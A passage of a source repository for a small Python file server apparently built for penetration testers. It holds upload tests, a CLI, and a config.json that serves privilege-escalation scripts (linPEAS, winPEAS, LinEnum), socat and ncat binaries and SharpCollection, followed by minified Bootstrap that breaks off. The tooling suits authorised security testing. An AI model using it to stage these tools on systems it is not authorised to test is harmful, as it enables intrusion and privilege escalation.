128 |     )
129 | 
130 |     token_id = extract_token_id(response, file_name=f"./{file_name}")
131 |     new_file_content = b"testing file upload content\n"
132 |     response = client.post(
133 |         "/uploads",
134 |         content_type="multipart/form-data",
135 |         data=dict(
136 |             token_id=token_id,
137 |             file=(io.BytesIO(new_file_content), file_name),
138 |         ),
139 |     )
140 | 
141 |     assert response.status_code == HTTPStatus.BAD_REQUEST
142 |     assert response.data == b'{ "error": "invalid path" }\n'
143 | 
144 | 
145 | def test_upload_token_creation_invalid_token(
146 |     mocker: MockerFixture, app, client, req_ctx
147 | ):
148 |     file_manager_open_stub = mocker.patch("toolbox.server.file_manager.open")
149 |     new_file_content = b"testing file upload"
150 |     response = client.post(
151 |         "/uploads",
152 |         content_type="multipart/form-data",
153 |         data=dict(
154 |             token_id="invalid_token",
155 |             file=(io.BytesIO(new_file_content), "test_upload_file.txt"),
156 |         ),
157 |     )
158 | 
159 |     assert response.status_code == HTTPStatus.BAD_REQUEST
160 |     assert response.data == b'{ "error": "token not valid" }\n'
161 |     file_manager_open_stub.assert_not_called()
162 | 


--------------------------------------------------------------------------------
/toolbox.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | 
3 | from toolbox import cli
4 | 
5 | if __name__ == "__main__":
6 |     cli.run()
7 | 


--------------------------------------------------------------------------------
/toolbox/__init__.py:
--------------------------------------------------------------------------------
1 | # Note: Setting this value controls setup.py
2 | __version__ = "0.1.0"
3 | 


--------------------------------------------------------------------------------
/toolbox/cli.py:
--------------------------------------------------------------------------------
 1 | import click
 2 | from toolbox import __version__
 3 | from toolbox.server import server
 4 | 
 5 | from os import path
 6 | from pathlib import Path
 7 | 
 8 | 
 9 | def validate_port_permissions(ctx, param, value):
10 |     try:
11 |         # Windows doesn't have geteuid available and raises ImportError
12 |         from os import geteuid
13 |         if value < 1024 and geteuid() != 0:
14 |             raise click.BadParameter(f"sudo permission required to bind to port '{value}'")
15 |     except ImportError:
16 |         pass
17 | 
18 |     return value
19 | 
20 | 
21 | def validate_directory(ctx, param, value):
22 |     resolved_path = Path(value).resolve()
23 |     valid_directory = path.exists(resolved_path) and path.isdir(resolved_path)
24 |     if not valid_directory:
25 |         raise click.BadParameter(f"value '{resolved_path}' is not a valid folder")
26 |     return str(resolved_path)
27 | 
28 | 
29 | @click.version_option(__version__)
30 | @click.group()
31 | def cli():
32 |     pass
33 | 
34 | @cli.command()
35 | @click.option("--host", default="0.0.0.0", help="Host to bind on")
36 | @click.option(
37 |     "--debug/--no-debug",
38 |     is_flag=True,
39 |     default=False,
40 |     help="Enable debug mode. Note this exposes `/console` which could potentially be accessed remotely and access could be bruteforced.",
41 | )
42 | @click.option(
43 |     "--reload/--no-reload",
44 |     is_flag=True,
45 |     default=False,
46 |     help="Enable reloading of files. This includes python files *and* python files",
47 | )
48 | @click.option(
49 |     "-v", "--verbose", is_flag=True, default=False, help="Enable verbose logging"
50 | )
51 | @click.option(
52 |     "--password",
53 |     required=False,
54 |     default=None,
55 |     help="A password is required to upload files. There is no username.",
56 | )
57 | @click.option(
58 |     "-p",
59 |     "--port",
60 |     type=click.INT,
61 |     required=True,
62 |     callback=validate_port_permissions,
63 |     help="the port to serve from",
64 | )
65 | @click.argument("root_user_directory", required=True, callback=validate_directory)
66 | def serve(host, port, password, debug, reload, verbose, root_user_directory):
67 |     root_toolbox_directory = Path(__file__).parent.parent
68 | 
69 |     server.serve(
70 |         host=host,
71 |         port=port,
72 |         verbose=verbose,
73 |         password=password,
74 |         root_toolbox_directory=root_toolbox_directory,
75 |         root_user_directory=root_user_directory,
76 |         config_path=Path(__file__).parent / "config.json",
77 |         use_debugger=debug,
78 |         use_reloader=reload,
79 |     )
80 | 
81 | 
82 | def run():
83 |     cli()
84 | 
85 | 
86 | if __name__ == "__main__":
87 |     run()
88 | 


--------------------------------------------------------------------------------
/toolbox/config.json:
--------------------------------------------------------------------------------
 1 | {
 2 |     "server": [
 3 |       {
 4 |         "server_path": "/linenum.sh",
 5 |         "local_path": "third_party/LinEnum/LinEnum.sh"
 6 |       },
 7 |       {
 8 |         "server_path": "/linpeas.sh",
 9 |         "local_path": "third_party/PEASS-ng/linpeas.sh"
10 |       },
11 |       {
12 |         "server_path": "/winpeas.bat",
13 |         "local_path": "third_party/PEASS-ng/winPEAS.bat"
14 |       },
15 |       {
16 |         "server_path": "/winpeas.exe",
17 |         "local_path": "third_party/PEASS-ng/winPEASany.exe"
18 |       },
19 |       {
20 |         "server_path": "/socat",
21 |         "local_path": "third_party/static-binaries/binaries/linux/x86_64/socat"
22 |       },
23 |       {
24 |         "server_path": "/ncat.exe",
25 |         "local_path": "third_party/static-binaries/binaries/windows/x86/ncat.exe"
26 |       },
27 |       {
28 |         "server_path": "/static",
29 |         "local_path": "third_party/static-binaries/binaries"
30 |       },
31 |       {
32 |         "server_path": "/SharpCollection",
33 |         "local_path": "third_party/SharpCollection"
34 |       }
35 |     ]
36 |   }
37 | 


--------------------------------------------------------------------------------
/toolbox/server/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlanFoster/toolbox/5bd64910ab2ab5bf1e25ee73faeee7d45c52c769/toolbox/server/__init__.py


--------------------------------------------------------------------------------
/toolbox/server/assets/bootstrap-4.5.3.min.js:
--------------------------------------------------------------------------------
1 | /*!
2 |   * Bootstrap v4.5.3 (https://getbootstrap.com/)
3 |   * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)
4 |   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
5 |   */
6 | !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e((t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap={},t.jQuery,t.Popper)}(this,(function(t,e,n){"use strict";function i(t){return t&&"object"==typeof t&&"default"in t?t:{default:t}}var o=i(e),a=i(n);function s(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function l(t,e,n){return e&&s(t.prototype,e),n&&s(t,n),t}function r(){return(r=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}function u(t){var e=this,n=!1;return o.default(this).one(d.TRANSITION_END,(function(){n=!0})),setTimeout((function(){n||d.triggerTransitionEnd(e)}),t),this}var d={TRANSITION_END:"bsTransitionEnd",getUID:function(t){do{t+=~~(1e6*Math.random())}while(document.getElementById(t));return t},getSelectorFromElement:function(t){var e=t.getAttribute("data-target");if(!e||"#"===e){var n=t.getAttribute("href");e=n&&"#"!==n?n.trim():""}try{return document.querySelector(e)?e:null}catch(t){return null}},getTransitionDurationFromElement:function(t){if(!t)return 0;var e=o.default(t).css("transition-duration"),n=o.default(t).css("transition-delay"),i=parseFloat(e),a=parseFloat(n);return i||a?(e=e.split(",")[0],n=n.split(",")[0],1e3*(parseFloat(e)+parseFloat(n))):0},reflow:function(t){return t.offsetHeight},triggerTransitionEnd:function(t){o.default(t).trigger("transitionend")},supportsTransitionEnd:function(){return Boolean("transitionend")},isElement:function(t){return(t[0]||t).nodeType},typeCheckConfig:function(t,e,n){for(var i in n)if(Object.prototype.hasOwnProperty.call(n,i)){var o=n[i],a=e[i],s=a&&d.isElement(a)?"element":null===(l=a)||"undefined"==typeof l?""+l:{}.toString.call(l).match(/\s([a-z]+)/i)[1].toLowerCase();if(!new RegExp(o).test(s))throw new Error(t.toUpperCase()+': Option "'+i+'" provided type "'+s+'" but expected type "'+o+'".')}var l},findShadowRoot:function(t){if(!document.documentElement.attachShadow)return null;if("function"==typeof t.getRootNode){var e=t.getRootNode();return e instanceof ShadowRoot?e:null}return t instanceof ShadowRoot?t:t.parentNode?d.findShadowRoot(t.parentNode):null},jQueryDetection:function(){if("undefined"==typeof o.default)throw new TypeError("Bootstrap's JavaScript requires jQuery. jQuery must be included before Bootstrap's JavaScript.");var t=o.default.fn.jquery.split(" ")[0].split(".");if(t[0]<2&&t[1]<9||1===t[0]&&9===t[1]&&t[2]<1||t[0]>=4)throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}};d.jQueryDetection(),o.default.fn.emulateTransitionEnd=u,o.default.event.special[d.TRANSITION_END]={bindType:"transitionend",delegateType:"transitionend",handle:function(t){if(o.default(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}};var f="alert",c=o.default.fn[f],h=function(){function t(t){this._element=t}var e=t.prototype;return e.close=function(t){var e=this._element;t&&(e=this._getRootElement(t)),this._triggerCloseEvent(e).isDefaultPrevented()||this._removeElement(e)},e.dispose=function(){o.default.removeData(this._element,"bs.alert"),this._element=null},e._getRootElement=function(t){var e=d.getSelectorFromElement(t),n=!1;return e&&(n=document.querySelector(e)),n||(n=o.default(t).closest(".alert")[0]),n},e._triggerCloseEvent=function(t){var e=o.default.Event("close.bs.alert");return o.default(t).trigger(e),e},e._removeElement=function(t){var e=this;if(o.default(t).removeClass("show"),o.default(t).hasClass("fade")){var n=d.getTransitionDurationFromElement(t);o.default(t).one(d.TRANSITION_END,(function(n){return e._destroyElement(t,n)})).emulateTransitionEnd(n)}else this._destroyElement(t)},e._destroyElement=function(t){o.default(t).detach().trigger("closed.bs.alert").remove()},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data("bs.alert");i||(i=new t(this),n.data("bs.alert",i)),"close"===e&&i[e](this)}))},t._handleDismiss=function(t){return function(e){e&&e.preventDefault(),t.close(this)}},l(t,null,[{key:"VERSION",get:function(){return"4.5.3"}}]),t}();o.default(document).on("click.bs.alert.data-api",'[data-dismiss="alert"]',h._handleDismiss(new h)),o.default.fn[f]=h._jQueryInterface,o.default.fn[f].Constructor=h,o.default.fn[f].noConflict=function(){return o.default.fn[f]=c,h._jQueryInterface};var g=o.default.fn.button,m=function(){function t(t){this._element=t,this.shouldAvoidTriggerChange=!1}var e=t.prototype;return e.toggle=function(){var t=!0,e=!0,n=o.default(this._element).closest('[data-toggle="buttons"]')[0];if(n){var i=this._element.querySelector('input:not([type="hidden"])');if(i){if("radio"===i.type)if(i.checked&&this._element.classList.contains("active"))t=!1;else{var a=n.querySelector(".active");a&&o.default(a).removeClass("active")}t&&("checkbox"!==i.type&&"radio"!==i.type||(i.checked=!this._element.classList.contains("active")),this.shouldAvoidTriggerChange||o.default(i).trigger("change")),i.focus(),e=!1}}this._element.hasAttribute("disabled")||this._element.classList.contains("disabled")||(e&&this._element.setAttribute("aria-pressed",!this._element.classList.contains("active")),t&&o.default(this._element).toggleClass("active"))},e.dispose=function(){o.default.removeData(this._element,"bs.button"),this._element=null},t._jQueryInterface=function(e,n){return this.each((function(){var i=o.default(this),a=i.data("bs.button");a||(a=new t(this),i.data("bs.button",a)),a.shouldAvoidTriggerChange=n,"toggle"===e&&a[e]()}))},l(t,null,[{key:"VERSION",get:function(){return"4.5.3"}}]),t}();o.default(document).on("click.bs.button.data-api",'[data-toggle^="button"]',(function(t){var e=t.target,n=e;if(o.default(e).hasClass("btn")||(e=o.default(e).closest(".btn")[0]),!e||e.hasAttribute("disabled")||e.classList.contains("disabled"))t.preventDefault();else{var i=e.querySelector('input:not([type="hidden"])');if(i&&(i.hasAttribute("disabled")||i.classList.contains("disabled")))return void t.preventDefault();"INPUT"!==n.tagName&&"LABEL"===e.tagName||m._jQueryInterface.call(o.default(e),"toggle","INPUT"===n.tagName)}})).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',(function(t){var e=o.default(t.target).closest(".btn")[0];o.default(e).toggleClass("focus",/^focus(in)?$/.test(t.type))})),o.default(window).on("load.bs.button.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-toggle="buttons"] .btn')),e=0,n=t.length;e<n;e++){var i=t[e],o=i.querySelector('input:not([type="hidden"])');o.checked||o.hasAttribute("checked")?i.classList.add("active"):i.classList.remove("active")}for(var a=0,s=(t=[].slice.call(document.querySelectorAll('[data-toggle="button"]'))).length;a<s;a++){var l=t[a];"true"===l.getAttribute("aria-pressed")?l.classList.add("active"):l.classList.remove("active")}})),o.default.fn.button=m._jQueryInterface,o.default.fn.button.Constructor=m,o.default.fn.button.noConflict=function(){return o.default.fn.button=g,m._jQueryInterface};var p="carousel",_=".bs.carousel",v=o.default.fn[p],b={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0,touch:!0},y={interval:"(number|boolean)",keyboard:"boolean",slide:"(boolean|string)",pause:"(string|boolean)",wrap:"boolean",touch:"boolean"},E={TOUCH:"touch",PEN:"pen"},w=function(){function t(t,e){this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this.touchStartX=0,this.touchDeltaX=0,this._config=this._getConfig(e),this._element=t,this._indicatorsElement=this._element.querySelector(".carousel-indicators"),this._touchSupported="ontouchstart"in document.documentElement||navigator.maxTouchPoints>0,this._pointerEvent=Boolean(window.PointerEvent||window.MSPointerEvent),this._addEventListeners()}var e=t.prototype;return e.next=function(){this._isSliding||this._slide("next")},e.nextWhenVisible=function(){var t=o.default(this._element);!document.hidden&&t.is(":visible")&&"hidden"!==t.css("visibility")&&this.next()},e.prev=function(){this._isSliding||this._slide("prev")},e.pause=function(t){t||(this._isPaused=!0),this._element.querySelector(".carousel-item-next, .carousel-item-prev")&&(d.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},e.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},e.to=function(t){var e=this;this._activeElement=this._element.querySelector(".active.carousel-item");var n=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)o.default(this._element).one("slid.bs.carousel",(function(){return e.to(t)}));else{if(n===t)return this.pause(),void this.cycle();var i=t>n?"next":"prev";this._slide(i,this._items[t])}},e.dispose=function(){o.default(this._element).off(_),o.default.removeData(this._element,"bs.carousel"),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},e._getConfig=function(t){return t=r({},b,t),d.typeCheckConfig(p,t,y),t},e._handleSwipe=function(){var t=Math.abs(this.touchDeltaX);if(!(t<=40)){var e=t/this.touchDeltaX;this.touchDeltaX=0,e>0&&this.prev(),e<0&&this.next()}},e._addEventListeners=function(){var t=this;this._config.keyboard&&o.default(this._element).on("keydown.bs.carousel",(function(e){return t._keydown(e)})),"hover"===this._config.pause&&o.default(this._element).on("mouseenter.bs.carousel",(function(e){return t.pause(e)})).on("mouseleave.bs.carousel",(function(e){return t.cycle(e)})),this._config.touch&&this._addTouchEventListeners()},e._addTouchEventListeners=function(){var t=this;if(this._touchSupported){var e=function(e){t._pointerEvent&&E[e.originalEvent.pointerType.toUpperCase()]?t.touchStartX=e.originalEvent.clientX:t._pointerEvent||(t.touchStartX=e.originalEvent.touches[0].clientX)},n=function(e){t._pointerEvent&&E[e.originalEvent.pointerType.toUpperCase()]&&(t.touchDeltaX=e.originalEvent.clientX-t.touchStartX),t._handleSwipe(),"hover"===t._config.pause&&(t.pause(),t.touchTimeout&&clearTimeout(t.touchTimeout),t.touchTimeout=setTimeout((function(e){return t.cycle(e)}),500+t._config.interval))};o.default(this._element.querySelectorAll(".carousel-item img")).on("dragstart.bs.carousel",(function(t){return t.preventDefault()})),this._pointerEvent?(o.default(this._element).on("pointerdown.bs.carousel",(function(t){return e(t)})),o.default(this._element).on("pointerup.bs.carousel",(function(t){return n(t)})),this._element.classList.add("pointer-event")):(o.default(this._element).on("touchstart.bs.carousel",(function(t){return e(t)})),o.default(this._element).on("touchmove.bs.carousel",(function(e){return function(e){e.originalEvent.touches&&e.originalEvent.touches.length>1?t.touchDeltaX=0:t.touchDeltaX=e.originalEvent.touches[0].clientX-t.touchStartX}(e)})),o.default(this._element).on("touchend.bs.carousel",(function(t){return n(t)})))}},e._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},e._getItemIndex=function(t){return this._items=t&&t.parentNode?[].slice.call(t.parentNode.querySelectorAll(".carousel-item")):[],this._items.indexOf(t)},e._getItemByDirection=function(t,e){var n="next"===t,i="prev"===t,o=this._getItemIndex(e),a=this._items.length-1;if((i&&0===o||n&&o===a)&&!this._config.wrap)return e;var s=(o+("prev"===t?-1:1))%this._items.length;return-1===s?this._items[this._items.length-1]:this._items[s]},e._triggerSlideEvent=function(t,e){var n=this._getItemIndex(t),i=this._getItemIndex(this._element.querySelector(".active.carousel-item")),a=o.default.Event("slide.bs.carousel",{relatedTarget:t,direction:e,from:i,to:n});return o.default(this._element).trigger(a),a},e._setActiveIndicatorElement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll(".active"));o.default(e).removeClass("active");var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&o.default(n).addClass("active")}},e._slide=function(t,e){var n,i,a,s=this,l=this._element.querySelector(".active.carousel-item"),r=this._getItemIndex(l),u=e||l&&this._getItemByDirection(t,l),f=this._getItemIndex(u),c=Boolean(this._interval);if("next"===t?(n="carousel-item-left",i="carousel-item-next",a="left"):(n="carousel-item-right",i="carousel-item-prev",a="right"),u&&o.default(u).hasClass("active"))this._isSliding=!1;else if(!this._triggerSlideEvent(u,a).isDefaultPrevented()&&l&&u){this._isSliding=!0,c&&this.pause(),this._setActiveIndicatorElement(u);var h=o.default.Event("slid.bs.carousel",{relatedTarget:u,direction:a,from:r,to:f});if(o.default(this._element).hasClass("slide")){o.default(u).addClass(i),d.reflow(u),o.default(l).addClass(n),o.default(u).addClass(n);var g=parseInt(u.getAttribute("data-interval"),10);g?(this._config.defaultInterval=this._config.defaultInterval||this._config.interval,this._config.interval=g):this._config.interval=this._config.defaultInterval||this._config.interval;var m=d.getTransitionDurationFromElement(l);o.default(l).one(d.TRANSITION_END,(function(){o.default(u).removeClass(n+" "+i).addClass("active"),o.default(l).removeClass("active "+i+" "+n),s._isSliding=!1,setTimeout((function(){return o.default(s._element).trigger(h)}),0)})).emulateTransitionEnd(m)}else o.default(l).removeClass("active"),o.default(u).addClass("active"),this._isSliding=!1,o.default(this._element).trigger(h);c&&this.cycle()}},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this).data("bs.carousel"),i=r({},b,o.default(this).data());"object"==typeof e&&(i=r({},i,e));var a="string"==typeof e?e:i.slide;if(n||(n=new t(this,i),o.default(this).data("bs.carousel",n)),"number"==typeof e)n.to(e);else if("string"==typeof a){if("undefined"==typeof n[a])throw new TypeError('No method named "'+a+'"');n[a]()}else i.interval&&i.ride&&(n.pause(),n.cycle())}))},t._dataApiClickHandler=function(e){var n=d.getSelectorFromElement(this);if(n){var i=o.default(n)[0];if(i&&o.default(i).hasClass("carousel")){var a=r({},o.default(i).data(),o.default(this).data()),s=this.getAttribute("data-slide-to");s&&(a.interval=!1),t._jQueryInterface.call(o.default(i),a),s&&o.default(i).data("bs.carousel").to(s),e.preventDefault()}}},l(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return b}}]),t}();o.default(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",w._dataApiClickHandler),o.default(window).on("load.bs.carousel.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-ride="carousel"]')),e=0,n=t.length;e<n;e++){var i=o.default(t[e]);w._jQueryInterface.call(i,i.data())}})),o.default.fn[p]=w._jQueryInterface,o.default.fn[p].Constructor=w,o.default.fn[p].noConflict=function(){return o.default.fn[p]=v,w._jQueryInterface};var T="collapse",C=o.default.fn[T],S={toggle:!0,parent:""},N={toggle:"boolean",parent:"(string|element)"},D=function(){function t(t,e){this._isTransitioning=!1,this._element=t,this._config=this._getConfig(e),this._triggerArray=[].slice.call(document.querySelectorAll('[data-toggle="collapse"][href="#'+t.id+'"],[data-toggle="collapse"][data-target="#'+t.id+'"]'));for(var n=[].slice.call(document.querySelectorAll('[data-toggle="collapse"]')),i=0,o=n.length;i<o;i++){var a=n[i],s=d.getSelectorFromElement(a),l=[].slice.call(document.querySelectorAll(s)).filter((function(e){return e===t}));null!==s&&l.length>0&&(this._selector=s,this._triggerArray.push(a))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}var e=t.prototype;return e.toggle=function(){o.default(this._element).hasClass("show")?this.hide():this.show()},e.show=function(){var e,n,i=this;if(!this._isTransitioning&&!o.default(this._element).hasClass("show")&&(this._parent&&0===(e=[].slice.call(this._parent.querySelectorAll(".show, .collapsing")).filter((function(t){return"string"==typeof i._config.parent?t.getAttribute("data-parent")===i._config.parent:t.classList.contains("collapse")}))).length&&(e=null),!(e&&(n=o.default(e).not(this._selector).data("bs.collapse"))&&n._isTransitioning))){var a=o.default.Event("show.bs.collapse");if(o.default(this._element).trigger(a),!a.isDefaultPrevented()){e&&(t._jQueryInterface.call(o.default(e).not(this._selector),"hide"),n||o.default(e).data("bs.collapse",null));var s=this._getDimension();o.default(this._element).removeClass("collapse").addClass("collapsing"),this._element.style[s]=0,this._triggerArray.length&&o.default(this._triggerArray).removeClass("collapsed").attr("aria-expanded",!0),this.setTransitioning(!0);var l="scroll"+(s[0].toUpperCase()+s.slice(1)),r=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,(function(){o.default(i._element).removeClass("collapsing").addClass("collapse show"),i._element.style[s]="",i.setTransitioning(!1),o.default(i._element).trigger("shown.bs.collapse")})).emulateTransitionEnd(r),this._element.style[s]=this._element[l]+"px"}}},e.hide=function(){var t=this;if(!this._isTransitioning&&o.default(this._element).hasClass("show")){var e=o.default.Event("hide.bs.collapse");if(o.default(this._element).trigger(e),!e.isDefaultPrevented()){var n=this._getDimension();this._element.style[n]=this._element.getBoundingClientRect()[n]+"px",d.reflow(this._element),o.default(this._element).addClass("collapsing").removeClass("collapse show");var i=this._triggerArray.length;if(i>0)for(var a=0;a<i;a++){var s=this._triggerArray[a],l=d.getSelectorFromElement(s);if(null!==l)o.default([].slice.call(document.querySelectorAll(l))).hasClass("show")||o.default(s).addClass("collapsed").attr("aria-expanded",!1)}this.setTransitioning(!0);this._element.style[n]="";var r=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,(function(){t.setTransitioning(!1),o.default(t._element).removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")})).emulateTransitionEnd(r)}}},e.setTransitioning=function(t){this._isTransitioning=t},e.dispose=function(){o.default.removeData(this._element,"bs.collapse"),this._config=null,this._parent=null,this._element=null,this._triggerArray=null,this._isTransitioning=null},e._getConfig=function(t){return(t=r({},S,t)).toggle=Boolean(t.toggle),d.typeCheckConfig(T,t,N),t},e._getDimension=function(){return o.default(this._element).hasClass("width")?"width":"height"},e._getParent=function(){var e,n=this;d.isElement(this._config.parent)?(e=this._config.parent,"undefined"!=typeof this._config.parent.jquery&&(e=this._config.parent[0])):e=document.querySelector(this._config.parent);var i='[data-toggle="collapse"][data-parent="'+this._config.parent+'"]',a=[].slice.call(e.querySelectorAll(i));return o.default(a).each((function(e,i){n._addAriaAndCollapsedClass(t._getTargetFromElement(i),[i])})),e},e._addAriaAndCollapsedClass=function(t,e){var n=o.default(t).hasClass("show");e.length&&o.default(e).toggleClass("collapsed",!n).attr("aria-expanded",n)},t._getTargetFromElement=function(t){var e=d.getSelectorFromElement(t);return e?document.querySelector(e):null},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data("bs.collapse"),a=r({},S,n.data(),"object"==typeof e&&e?e:{});if(!i&&a.toggle&&"string"==typeof e&&/show|hide/.test(e)&&(a.toggle=!1),i||(i=new t(this,a),n.data("bs.collapse",i)),"string"==typeof e){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e]()}}))},l(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return S}}]),t}();o.default(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',(function(t){"A"===t.currentTarget.tagName&&t.preventDefault();var e=o.default(this),n=d.getSelectorFromElement(this),i=[].slice.call(document.querySelectorAll(n));o.default(i).each((function(){var t=o.default(this),n=t.data("bs.collapse")?"toggle":e.data();D._jQueryInterface.call(t,n)}))})),o.default.fn[T]=D._jQueryInterface,o.default.fn[T].Constructor=D,o.default.fn[T].noConflict=function(){return o.default.fn[T]=C,D._jQueryInterface};var k="dropdown",A=o.default.fn[k],I=new RegExp("38|40|27"),j={offset:0,flip:!0,boundary:"scrollParent",reference:"toggle",display:"dynamic",popperConfig:null},O={offset:"(number|string|function)",flip:"boolean",boundary:"(string|element)",reference:"(string|element)",display:"string",popperConfig:"(null|object)"},x=function(){function t(t,e){this._element=t,this._popper=null,this._config=this._getConfig(e),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this._addEventListeners()}var e=t.prototype;return e.toggle=function(){if(!this._element.disabled&&!o.default(this._element).hasClass("disabled")){var e=o.default(this._menu).hasClass("show");t._clearMenus(),e||this.show(!0)}},e.show=function(e){if(void 0===e&&(e=!1),!(this._element.disabled||o.default(this._element).hasClass("disabled")||o.default(this._menu).hasClass("show"))){var n={relatedTarget:this._element},i=o.default.Event("show.bs.dropdown",n),s=t._getParentFromElement(this._element);if(o.default(s).trigger(i),!i.isDefaultPrevented()){if(!this._inNavbar&&e){if("undefined"==typeof a.default)throw new TypeError("Bootstrap's dropdowns require Popper.js (https://popper.js.org/)");var l=this._element;"parent"===this._config.reference?l=s:d.isElement(this._config.reference)&&(l=this._config.reference,"undefined"!=typeof this._config.reference.jquery&&(l=this._config.reference[0])),"scrollParent"!==this._config.boundary&&o.default(s).addClass("position-static"),this._popper=new a.default(l,this._menu,this._getPopperConfig())}"ontouchstart"in document.documentElement&&0===o.default(s).closest(".navbar-nav").length&&o.default(document.body).children().on("mouseover",null,o.default.noop),this._element.focus(),this._element.setAttribute("aria-expanded",!0),o.default(this._menu).toggleClass("show"),o.default(s).toggleClass("show").trigger(o.default.Event("shown.bs.dropdown",n))}}},e.hide=function(){if(!this._element.disabled&&!o.default(this._element).hasClass("disabled")&&o.default(this._menu).hasClass("show")){var e={relatedTarget:this._element},n=o.default.Event("hide.bs.dropdown",e),i=t._getParentFromElement(this._element);o.default(i).trigger(n),n.isDefaultPrevented()||(this._popper&&this._popper.destroy(),o.default(this._menu).toggleClass("show"),o.default(i).toggleClass("show").trigger(o.default.Event("hidden.bs.dropdown",e)))}},e.dispose=function(){o.default.removeData(this._element,"bs.dropdown"),o.default(this._element).off(".bs.dropdown"),this._element=null,this._menu=null,null!==this._popper&&(this._popper.destroy(),this._popper=null)},e.update=function(){this._inNavbar=this._detectNavbar(),null!==this._popper&&this._popper.scheduleUpdate()},e._addEventListeners=function(){var t=this;o.default(this._element).on("click.bs.dropdown",(function(e){e.preventDefault(),e.stopPropagation(),t.toggle()}))},e._getConfig=function(t){return t=r({},this.constructor.Default,o.default(this._element).data(),t),d.typeCheckConfig(k,t,this.constructor.DefaultType),t},e._getMenuElement=function(){if(!this._menu){var e=t._getParentFromElement(this._element);e&&(this._menu=e.querySelector(".dropdown-menu"))}return this._menu},e._getPlacement=function(){var t=o.default(this._element.parentNode),e="bottom-start";return t.hasClass("dropup")?e=o.default(this._menu).hasClass("dropdown-menu-right")?"top-end":"top-start":t.hasClass("dropright")?e="right-start":t.hasClass("dropleft")?e="left-start":o.default(this._menu).hasClass("dropdown-menu-right")&&(e="bottom-end"),e},e._detectNavbar=function(){return o.default(this._element).closest(".navbar").length>0},e._getOffset=function(){var t=this,e={};return"function"==typeof this._config.offset?e.fn=function(e){return e.offsets=r({},e.offsets,t._config.offset(e.offsets,t._element)||{}),e}:e.offset=this._config.offset,e},e._getPopperConfig=function(){var t={placement:this._getPlacement(),modifiers:{offset:this._getOffset(),flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return"static"===this._config.display&&(t.modifiers.applyStyle={enabled:!1}),r({},t,this._config.popperConfig)},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this).data("bs.dropdown");if(n||(n=new t(this,"object"==typeof e?e:null),o.default(this).data("bs.dropdown",n)),"string"==typeof e){if("undefined"==typeof n[e])throw new TypeError('No method named "'+e+'"');n[e]()}}))},t._clearMenus=function(e){if(!e||3!==e.which&&("keyup"!==e.type||9===e.which))for(var n=[].slice.call(document.querySelectorAll('[data-toggle="dropdown"]')),i=0,a=n.length;i<a;i++){var s=t._getParentFromElement(n[i]),l=o.default(n[i]).data("bs.dropdown"),r={relatedTarget:n[i]};if(e&&"click"===e.type&&(r.clickEvent=e),l){var u=l._menu;if(o.default(s).hasClass("show")&&!(e&&("click"===e.type&&/input|textarea/i.test(e.target.tagName)||"keyup"===e.type&&9===e.which)&&o.default.contains(s,e.target))){var d=o.default.Event("hide.bs.dropdown",r);o.default(s).trigger(d),d.isDefaultPrevented()||("ontouchstart"in document.documentElement&&o.default(document.body).children().off("mouseover",null,o.default.noop),n[i].setAttribute("aria-expanded","false"),l._popper&&l._popper.destroy(),o.default(u).removeClass("show"),o.default(s).removeClass("show").trigger(o.default.Event("hidden.bs.dropdown",r)))}}}},t._getParentFromElement=function(t){var e,n=d.getSelectorFromElement(t);return 